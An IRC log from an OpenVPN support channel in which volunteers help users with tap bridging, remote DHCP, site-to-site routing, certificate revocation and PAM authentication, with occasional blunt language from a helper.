01:19 -!- Fira [artix@server5.tonbnc.fr] has joined #openvpn
01:19 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 264 seconds]
01:19 -!- lmm [uid6417@gateway/web/irccloud.com/x-kpdvekdmhjwjnmqp] has quit [Ping timeout: 264 seconds]
01:19 -!- MeanderingCode [~Meanderin@192.241.150.232] has quit [Ping timeout: 264 seconds]
01:19 -!- guntha [~guntha@unaffiliated/guntha] has quit [Ping timeout: 264 seconds]
01:19 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/session] has joined #openvpn
01:19 -!- lmm_ [uid6417@gateway/web/irccloud.com/session] has joined #openvpn
01:19 -!- Fira [artix@server5.tonbnc.fr] has quit [Changing host]
01:19 -!- Fira [artix@unaffiliated/fira] has joined #openvpn
01:19 -!- batrick_ [batrick@nmap/developer/batrick] has joined #openvpn
01:19 -!- haasn [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
01:20 -!- Martin`_ is now known as Martin`
01:21 -!- MeanderingCode_ [~Meanderin@192.241.150.232] has quit [Excess Flood]
01:21 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Excess Flood]
01:21 -!- MeanderingCode [~Meanderin@192.241.150.232] has joined #openvpn
01:21 -!- MacGyver [~MacGyver@2001:470:d52e:4:218:51ff:feb2:da1f] has joined #openvpn
01:21 -!- MacGyver [~MacGyver@2001:470:d52e:4:218:51ff:feb2:da1f] has quit [Changing host]
01:21 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
01:21 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
01:21 -!- Serano_ [~serano@rooty.be] has joined #openvpn
01:22 -!- emcepe [~mcp@wolk-project.de] has joined #openvpn
01:23 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
01:23 -!- adnap_ [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
01:23 -!- kenyon_ is now known as kenyon
01:23 -!- Serano [~serano@rooty.be] has quit [Ping timeout: 245 seconds]
01:23 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-rybjriqrvfaruixf] has quit [Ping timeout: 245 seconds]
01:23 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
01:23 -!- mcp [~mcp@wolk-project.de] has quit [Ping timeout: 245 seconds]
01:23 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 245 seconds]
01:23 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 245 seconds]
01:23 -!- trumee [~parul@93.186.147.20] has quit [Ping timeout: 245 seconds]
01:23 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 245 seconds]
01:23 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Read error: Connection reset by peer]
01:23 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has quit [Ping timeout: 245 seconds]
01:23 -!- emcepe is now known as mcp
01:24 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
01:24 -!- tharkun [~0@187.188.94.182] has joined #openvpn
01:24 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Ping timeout: 245 seconds]
01:25 -!- trumee_ [~parul@93.186.147.20] has joined #openvpn
01:25 -!- OllieN [~znc@236.101.89.198.svwh.net] has joined #openvpn
01:25 -!- sandeepr_ltp [~sandeepr_@nat/hp/session] has joined #openvpn
01:25 -!- defswork [~andy@141.0.50.105] has joined #openvpn
01:27 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
01:28 -!- batrick_ [batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.1]
01:29 -!- bauderoo___ [~bauderoo_@208.168.231.224] has joined #openvpn
01:32 -!- bauderoo_ [~bauderoo_@208.168.231.224] has quit [Ping timeout: 240 seconds]
01:33 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:40 -!- OllieN is now known as Zenum
01:40 -!- Zenum [~znc@236.101.89.198.svwh.net] has quit [Changing host]
01:40 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
01:42 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
01:42 -!- master_of_master [~master_of@p4FF24856.dip0.t-ipconnect.de] has joined #openvpn
01:44 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:45 -!- master_o1_master [~master_of@p4FD7BF51.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
01:53 -!- FunkyELF [~FunkyELF@99-36-189-64.lightspeed.chrlnc.sbcglobal.net] has joined #openvpn
01:53 -!- toobluesc [~nitro@c-50-136-226-78.hsd1.ca.comcast.net] has joined #openvpn
01:53 -!- lmm_ [uid6417@gateway/web/irccloud.com/session] has quit [Changing host]
01:53 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-hugcngkmzazduokl] has joined #openvpn
01:54 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/session] has quit [Changing host]
01:54 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-clwylbviauiucyfl] has joined #openvpn
01:54 -!- sandeepr_ltp [~sandeepr_@nat/hp/session] has quit [Changing host]
01:54 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-kotzscmorrrasyob] has joined #openvpn
01:56 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
01:56 -!- mode/#openvpn [+v s7r] by ChanServ
01:56 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:19 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-kotzscmorrrasyob] has quit [Ping timeout: 246 seconds]
02:20 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-zqjfnradfdenribm] has joined #openvpn
02:21 -!- xrosnight [~quassel@116.76.166.121] has joined #openvpn
02:22 -!- xrosnight [~quassel@116.76.166.121] has quit [Changing host]
02:22 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
02:22 -!- i7c_ [~i7c@80-69-77-233.colo.transip.net] has quit [Changing host]
02:22 -!- i7c_ [~i7c@unaffiliated/i7c] has joined #openvpn
02:22 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
02:22 -!- i7c_ is now known as i7c
02:27 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
02:28 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:36 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
02:37 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:37 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-zqjfnradfdenribm] has quit [Read error: Connection reset by peer]
02:38 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-axmwywddnycpuugd] has joined #openvpn
02:58 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:02 -!- _Dave2_ is now known as Dave2
03:07 -!- _bt [~bt@77.240.12.157] has quit [Changing host]
03:07 -!- _bt [~bt@unaffiliated/bt/x-192343] has joined #openvpn
03:10 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-bonjfwfrjvyyrlbc] has joined #openvpn
03:36 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
03:43 -!- ade_b [~Ade@p57A57D35.dip0.t-ipconnect.de] has joined #openvpn
03:43 -!- ade_b [~Ade@p57A57D35.dip0.t-ipconnect.de] has quit [Changing host]
03:43 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:48 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 246 seconds]
03:51 -!- takamichi [~takamichi@217.23.5.63] has joined #openvpn
04:04 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
04:07 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
04:12 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
04:14 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
04:23 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
04:25 -!- svenk [svenk@gateway/web/cgi-irc/kiwiirc.com/x-htrknpnoullvjzpd] has joined #openvpn
04:25 -!- svenk is now known as Guest75738
04:33 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-axmwywddnycpuugd] has quit [Ping timeout: 259 seconds]
04:34 -!- takamichi [~takamichi@217.23.5.63] has quit [Ping timeout: 264 seconds]
04:34 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-udxiajpcrgbaarzn] has joined #openvpn
04:35 -!- narcos [~narcos@dsl4.leasingoptions.co.uk] has joined #openvpn
04:36 < narcos> Hi there. I have two client offices. If I want them to be connected at layer two, I should get both to connect via an openvpn tap interface to a central server, right?
04:37 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:44 -!- yoseforb_ [~yoseforb@95.86.65.219] has joined #openvpn
04:45 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-udxiajpcrgbaarzn] has quit [Read error: Connection reset by peer]
04:45 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-hpkdhmwdsftcdxzr] has joined #openvpn
04:49 -!- mattock is now known as mattock_afk
05:02 -!- narcos [~narcos@dsl4.leasingoptions.co.uk] has quit [Ping timeout: 245 seconds]
05:05 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-hpkdhmwdsftcdxzr] has quit [Read error: Connection reset by peer]
05:05 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ojrjrdwklexwtcuo] has joined #openvpn
05:07 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ojrjrdwklexwtcuo] has quit [Read error: Connection reset by peer]
05:07 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-jcybnauwsjcyzued] has joined #openvpn
05:11 -!- narcos [~narcos@dsl4.leasingoptions.co.uk] has joined #openvpn
05:30 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Ping timeout: 240 seconds]
05:39 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Read error: Connection reset by peer]
05:41 -!- xrosnight [~quassel@116.76.166.121] has joined #openvpn
05:50 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
06:04 -!- sh00p [~sh00p@static-213-115-27-219.sme.bredbandsbolaget.se] has joined #openvpn
06:04 -!- aegis [~aegis@184.75.223.34] has quit [Ping timeout: 245 seconds]
06:04 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-jcybnauwsjcyzued] has quit [Ping timeout: 268 seconds]
06:10 -!- aegis [~aegis@184.75.223.34] has joined #openvpn
06:28 -!- mattock_afk is now known as mattock
06:42 < sh00p> how would I go about to "unsign" a certificate that I do no longer want to be able to access my openvpn server?
06:42 < sh00p> or rather than unsign, if that is the incorrect terminology, how do I terminate access for that person?
06:44 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
07:25 -!- share [share@unaffiliated/share] has joined #openvpn
07:30 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-aqqfzbhrbgcqythy] has joined #openvpn
07:33 < sh00p> How do I find my common-name from a crt?
07:33 < sh00p> I've added a client-config dir and ccd-exclusive options to my .conf file
07:34 < sh00p> and I've `touch`ed files in the ccd with what I thought was my common name, but I can't connect... I can connect fine if I take out ccd-exclusive
07:37 -!- [ilin] [~ilin@unaffiliated/ilin] has joined #openvpn
07:38 < [ilin]> hello, is anyboard using openvpn bridging with openvswitch?
07:38 -!- vraa__ [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
07:39 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:41 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
07:44 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
07:44 < share> hello?
07:48 -!- frank-- is now known as thumbs
07:48 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
07:54 < [ilin]> !configs
07:54 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
07:59 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
08:11 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
08:32 <@ecrist> what is openvswitch?
08:33 < dougy[work]> ecrist i can explain ti
08:33 < dougy[work]> but what or where do you see it
08:33 < dougy[work]> oh, nvm
08:34 < dougy[work]> openvswitch is a giant virtual switch that comes integrated into xen
08:34 <@ecrist> ah
08:34 < narcos> I want to bridge the Ethernet adapter on my laptop, to the Ethernet adapter on a server inside my organisation. I've managed to setup  [ Laptop ] ==tap===>[ Server ]<==tap==[ Internal Server ]
08:35 < narcos> Then I tried adding a bridge with addbr, between tap0 and eth0
08:35 < dougy[work]> http://openvswitch.org/
08:35 <@vpnHelper> Title: Open vSwitch (at openvswitch.org)
08:37 -!- Guest75738 [svenk@gateway/web/cgi-irc/kiwiirc.com/x-htrknpnoullvjzpd] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
08:47 <@ecrist> ah, well, then
08:47 <@ecrist> !notovpn
08:47 <@vpnHelper> "notovpn" is (#1) "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem or (#2) sorry, but we dont care. this channel is only for help with openvpn.
09:28 -!- ccha [~ccha@unaffiliated/ccha] has quit [Ping timeout: 240 seconds]
09:29 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
09:38 -!- Neozonz [cdd2df82@gateway/web/cgi-irc/kiwiirc.com/ip.205.210.223.130] has joined #openvpn
09:38 < narcos> Whilst I fumble around, could someone tell me if this scenario is actually possible? - http://pastebin.com/raw.php?i=GunJWmyr
09:38 < Neozonz> really need some help getting openvpn to work on a proxmox server + its virtual containers
09:39 < Neozonz> been trying for a week with very little progress...
09:39 < Neozonz> brb gonna grab a coffee
09:39 -!- xrosnight [~quassel@116.76.166.121] has quit [Read error: Connection reset by peer]
09:39 < narcos> i.e. I want my local tap interface to grab DHCP from a remote DHCP server.
09:42 <@ecrist> use tap, and just set server-bridge
09:42 <@ecrist> without an IP range
09:42 -!- monsbeat [~mons@93.115.84.195] has joined #openvpn
09:42 <@ecrist> or gateway
09:43 <@ecrist> if you want no gateway assigned from dhcp, use server-bridge no-gw
09:43 < narcos> ecrist: OK thank you, I'll try that now
09:54 < Neozonz> anyone want to help me connect two data centers proxmox servers via a vpn
09:55 < Neozonz> Site1 = 192.168.0.x
09:55 < Neozonz> Site2 = 192.168.1.x
09:56 < Neozonz> Both Site1 and Site2 have a tun0 with 10.0.0.x and can ping each other correctly
09:56 < Neozonz> only issue is vm's under each site cannot ping different sites
09:56 < Neozonz> i know it is some type of routing issue but can't figure it out for the life of me.... any help would be appreciated
10:00 -!- monsbeat [~mons@93.115.84.195] has quit [Quit: monsbeat]
10:01 < narcos> ecrist: Do these configs + diagram look right? I don't seem to see any traffic when running tcpdump on the tap0 interfaces (after manually bringing them up?) - http://pastebin.com/raw.php?i=gMWV2BLK
10:02 <@ecrist> Neozonz: those IP ranges are retarded
10:02 <@ecrist> !1918
10:02 <@vpnHelper> "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
10:02 <@ecrist> way too common for good use
10:02 < share> using vpn over tor. nsa nsa come and get me lol
10:03 -!- matt_ [~matt@ccpc-mwr.bath.ac.uk] has joined #openvpn
10:04 <@ecrist> narcos: change verb to 4 and post logs, pleas
10:04 < narcos> ecrist: OK
10:04 < narcos> one sec
10:10 -!- lorin1 [~lorin1@wsip-98-175-164-42.dc.dc.cox.net] has joined #openvpn
10:10 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
10:12 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
10:12 -!- mode/#openvpn [+v s7r] by ChanServ
10:13 < narcos> ecrist: http://pastebin.com/raw.php?i=n3aP0RGy
10:14 < lorin1> Hi there. Is there a way in the server config file to specify a push route with a different gateway? My OpenVPN server has IP 10.0.0.1/24 and I want to specify 10.0.0.2 as the gateway for one particular route.
10:15 -!- bauderoo [~bauderoo_@31.171.134.50] has joined #openvpn
10:17 -!- bauderoo___ [~bauderoo_@208.168.231.224] has quit [Ping timeout: 245 seconds]
10:17 < narcos> ecrist: Hm, so I can see the DHCP request from Machine01 on Server01.tap and Machine02.tap. Do I not need to somehow bridge Machine02.[tap0 + eth0] ?
10:18 < Neozonz> ecrist: i'm using private networks?
10:23 -!- raidz_away is now known as raidz
10:24 -!- mapito [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 245 seconds]
10:32 < lorin1> !welcome
10:32 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
10:32 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:32 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
10:32 < lorin1> !route
10:32 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
10:32 <@vpnHelper> behind the server or client
10:35 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Ping timeout: 245 seconds]
10:36 < narcos> ecrist: When I try  'brctl addif mybridge eth0' I get an error of 'eth0 already member of a bridge'. So I guess that's the tap0 interface. Odd that it's not DHCPing then, no?
10:39 < narcos> ecrist: But, tshark shows me DHCP requests on Machine02.tap (from Machine01), but I don't see them on Machine02.eth0.
10:40 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
11:03 -!- toobluesc [~nitro@c-50-136-226-78.hsd1.ca.comcast.net] has quit [Quit: Ex-Chat]
11:07 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
11:11 < narcos> Anyone else have any ideas? This is my scenario and configs - http://pastebin.com/raw.php?i=gMWV2BLK. I'd like Machine01 to behave as if it were physically plugged into Server02.eth0's local network. i.e. get DHCP, be able to do layer2+3 with all machines on that subnet.
11:16 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
11:17 -!- bauderoo [~bauderoo_@31.171.134.50] has quit [Ping timeout: 245 seconds]
11:17 <+pekster> narcos: You really don't want to do that unless you're confident about the issues by using a remote DHCP server. Specifically, how are you avoiding wiping out the client's pre-existing gateway that the DHCP server will happily offer a (bogus) value for with the DHCP reply?
11:18 -!- bauderoo [~bauderoo_@31.171.134.50] has joined #openvpn
11:22 -!- monsbeat [~mons@93.115.84.195] has joined #openvpn
11:24 < narcos> pekster: Hmm, good point. What's the preferred alternative...?
11:25 < narcos> pekster: The tricky part is that I don't know in advance what the Machine02.eth0 IP range is.
11:25 <+pekster> Ideally not bridging (Have you see !tunortap and !whybridge yet?)
11:25 < narcos> pekster: So, forwarding is tricky
11:25 <+pekster> If you do have a valid reason to bridge, it's best to use a dedicated range for the VPN clients that is outside the pool the server-side DHCP server is using as this avoids default gateway globbering issues
11:26 < Neozonz> I have a machine with a route added for 192.168.1.0/24 gw open_vpn_srv_a
11:26 < Neozonz> but I cannot ping any clients on 192.168.1.x
11:26 < Neozonz> the open_vpn_srv_a is able to ping 192.168.1.x though
11:26 <+pekster> Neozonz: trying to access a LAN behind the server? See !serverlan
11:27 < Neozonz> !serverlan
11:27 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
11:27 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
11:27 < narcos> pekster: So, maybe I should start with my objective- as per that diagram (http://pastebin.com/raw.php?i=gMWV2BLK) I want Machine01 to be able to access boxes on the Machine02.eth0 network. The slight nuance is that I don't know the Machine02.eth0 range in advance
11:27 < Neozonz> !route_outside_openvpn
11:27 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
11:29 <+pekster> narcos: Then you have a problem. You can't just set up a transparant bridge becuase, without cooperation from either the VPN server to manage the client-addressing, or the remote DHCP server to explicitly _avoid_ passing a deafult gateway, you will effectively wipe out the default gateway on the machine initiating the DHCP request (Machine01 in your diagram, it looks like)
11:29 <+pekster> If you don't actually need L2 transport, use a tun (routed) setup instead. It's ugly, but source-NAT going into the remote LAN if you can't route properly (see !serverlan above)
11:29 <+pekster> (tun isn't ugly -- it's the NAT that's ugly, for clarification. tun is recommended unless you _need_ L2 transport)
11:30 < narcos> pekster: I'd like L2, but maybe not just yet. Let me see if I can get L3 working first with your suggestion.
11:30 <+pekster> !whybridge
11:30 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
11:33 < TheSov_> hey guys, I had a Q, I have a router i built on ubuntu 12.04 server. it has an openvpn TAP connection, its a cloud router. right now its connected and is forwarding nearly everything properly, but i cannot for the life of me RDP, VNC, or SSH to the remote side. but the remote side can. UFW is disabled, and the IPTABLES shows only allow all rules. does anyone have an idea of what im doing wrong?
11:36 -!- altermann [~none@184.69.128.118] has joined #openvpn
11:38 < altermann> where would i need to setup a server if a remote site is trying to send printing jobs through a local printing server to printers located @ the remote site?
11:39 < altermann> i know nothing about vpn
11:47 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
11:48 <+pekster> TheSov_: 1) don't use tap (see above info on !whybridge, and maybe check out !tunortap.) 2) if you can ping the remote end across the VPN, the VPN is working. Your firewall could be at fault or maybe services aren't started (or listening on the VPN IP) if you can't connect over this IP
11:54 < monsbeat> What is PAM authentication?
11:58 <+pekster> A Linux/Unix framework for authentication: https://en.wikipedia.org/wiki/Pluggable_Authentication_Modules
11:58 <@vpnHelper> Title: Pluggable authentication module - Wikipedia, the free encyclopedia (at en.wikipedia.org)
11:59 < monsbeat> pekster: Ok, but why if do I use for VPN auth, it let me use system users and not VPN defined users?
12:00 <+pekster> Right, or any other backends PAM is aware of depending on how you configure PAM
12:00 <+pekster> (LDAP is a common example, but by abstracting auth to PAM you can leverage anything PAM can do with the right configuration)
12:02 < monsbeat> pekster: So, If I want a standalone user database for vpn indipendent from system users, I do not use PAM?
12:03 < narcos> Thanks for the help all, gotta go. Bye.
12:03 -!- narcos [~narcos@dsl4.leasingoptions.co.uk] has quit [Quit: Leaving]
12:05 <+pekster> You could choose to use PAM to do that, or you could use a --user-auth-pass-verify script of your choosing to do it
12:06 -!- monsbeat [~mons@93.115.84.195] has quit [Read error: Connection reset by peer]
12:07 <+pekster> If PAM is configured to auth VPN users through an LDAP database, that is your "standalone user database". PAM is flexible and its documentation can explain how PAM works. pam(8) is a quick reference, but to use PAM properly in more complex setups, you should use their administrators' guide
12:07 <+pekster> OpenVPN doens't care: you tell it what you want to do if you're using user/pass auth, and openvpn calls the relevant script or plugin to do it. OpenVPN merely gets a pass/fail response from the external authentication
12:12 < Neozonz> pekster: here are the two ip tables from the open_vpn_srv (ns4007547) and the host (db1)
12:12 < Neozonz> http://pastebin.com/c9g4BicJ
12:12 < Neozonz> *ip routes
12:12 < Neozonz> but whatever i do I cannot seem to get to any ip on 192.168.1.x range
12:13 < Neozonz> open_vpn_srv is able to get to them though
12:16 < Neozonz> any help would be appreciated
12:16 -!- tharkun [~0@187.188.94.182] has quit [Changing host]
12:16 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
12:16 -!- yoseforb_ [~yoseforb@95.86.65.219] has left #openvpn ["להתראות"]
12:17 <+pekster> Without !configs and a better description of what systems are trying to reach where and from what networks, that doesn't mean much to me
12:17 < Neozonz> !configs
12:17 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
12:18 -!- bauderoo [~bauderoo_@31.171.134.50] has quit [Ping timeout: 264 seconds]
12:18 <+pekster> Also, why on earth is the default route in link scope?
12:18 <+pekster> Is your VPS really that brain-dead?
12:20 -!- smw [~smw@unaffiliated/smw] has joined #openvpn
12:23 -!- bauderoo [~bauderoo_@31.171.134.123] has joined #openvpn
12:29 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Read error: Connection reset by peer]
12:31 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
12:31 < Neozonz> pekster: here is the complete config http://pastebin.com/b4MUxZ2s
12:38 -!- monsbeat [~wallbroke@151.56.246.53] has joined #openvpn
12:38 < monsbeat> pekster, can you paste last messages?
12:40 <+pekster> monsbeat: As, missed that you lost connection: http://paste.kde.org/p73540af4/43963213/raw/
12:41 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection]
12:42 <+pekster> Neozonz: your target host behind your VPN server is "db1" ? If so, you can't have it route via 10.0.0.1 becuase that IP only exists on your PtP link between the VPN peers
12:42 <+pekster> !serverlan
12:42 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
12:42 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
12:42 <+pekster> The LAN behind your server replies to the request by routing it back to the VPN host on its local network segment (or having the LAN gateway do it)
12:42 < monsbeat> pekster, i setup my server with this line: plugin /usr/lib/openvpn/openvpn-auth-pam.so "openvpn"
12:42 < monsbeat> and it works
12:44 < Neozonz> If so, you can't have it route via 10.0.0.1 becuase that IP only exists on your PtP link between the VPN peers -> if this is true why am i able to ping it from db1
12:44 <+pekster> Because it's upstream of the host-side PC
12:45 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:45 <+pekster> And, apparently, "on-link" due to your fucked up routing
12:45 <+pekster> (really, why is 0/0 "on-link"?!)
12:45 <+pekster> ARP for the world, 'eh?
12:45 <+pekster> That's obviously wrong since I haev a public IP on equipment here ana I can assure you it's not directly connected to your VPS.
12:45 < Neozonz> i have no idea
12:46 < Neozonz> the server came with that
12:46 <+pekster> That's why the route "works" but it won't do what you expect
12:46 < Neozonz> I have a dedicated server
12:46 < Neozonz> and db1 is a vm inside it
12:46 < monsbeat> i found this line on an howto, but i don't know what "openvpn" does. how to know it?
12:46 < Neozonz> the deciated server is the openvpn
12:47 < Neozonz> in this case can i set the gw as 192.95.290.127 on db1?
12:48 <+pekster> Is that actually on-link? If so, yes
12:48 <+pekster> The way your "db1" junk is set up, "all of the Internet is in your LAN, connected to your (possibly virtual) switch." This is a silly notion
12:49 <+pekster> I have no idea why that's done, and I think it's broken by-design. Maybe the VM technology you use proxy-ARPs for the world, but I have zero interest in caring about that part
12:50 <+pekster> If 192.168.1.0/24 is accessed on the "other side" of the VPN, route it to the *LOCAL* IP of the VPN node on that side
12:50 < Neozonz> that is what i've done
12:51 < Neozonz> 192.168.0.0/24 via 10.0.0.2 dev tun0
12:51 <+pekster> That's not local
12:51 <+pekster> 10.0.0.2 only exists between the VPN nodes
12:51 <+pekster> db1 is not on the VPN, right? It's "behind" the server?
12:51 < Neozonz> yes that is correct
12:51 <+pekster> Then you don't route via that IP
12:51 <+pekster> It's *NOT* local
12:51  * pekster shakes head
12:51 < Neozonz> :o
12:51 < Neozonz> so both ips on the vpn are considered public?
12:52 < share> is possible to connect a vpn to another?
12:53 < share> without using virtual machine
12:56 < Neozonz> ok... i think I understand
12:56 < Neozonz> basically I need to create 1 extra interface on each vpn node with the local network i am trying to access
12:57 <+pekster> Right. OpenVPN is effectively a router; routers span 2 or more independent network segments and route traffic between them
12:57 <+pekster> In the case of openvpn, the "2nd" network is often simply the virtual tun interface (you already have a physical interface, otherwise openvpn does nothing useful)
12:57 -!- smw [~smw@unaffiliated/smw] has quit [Remote host closed the connection]
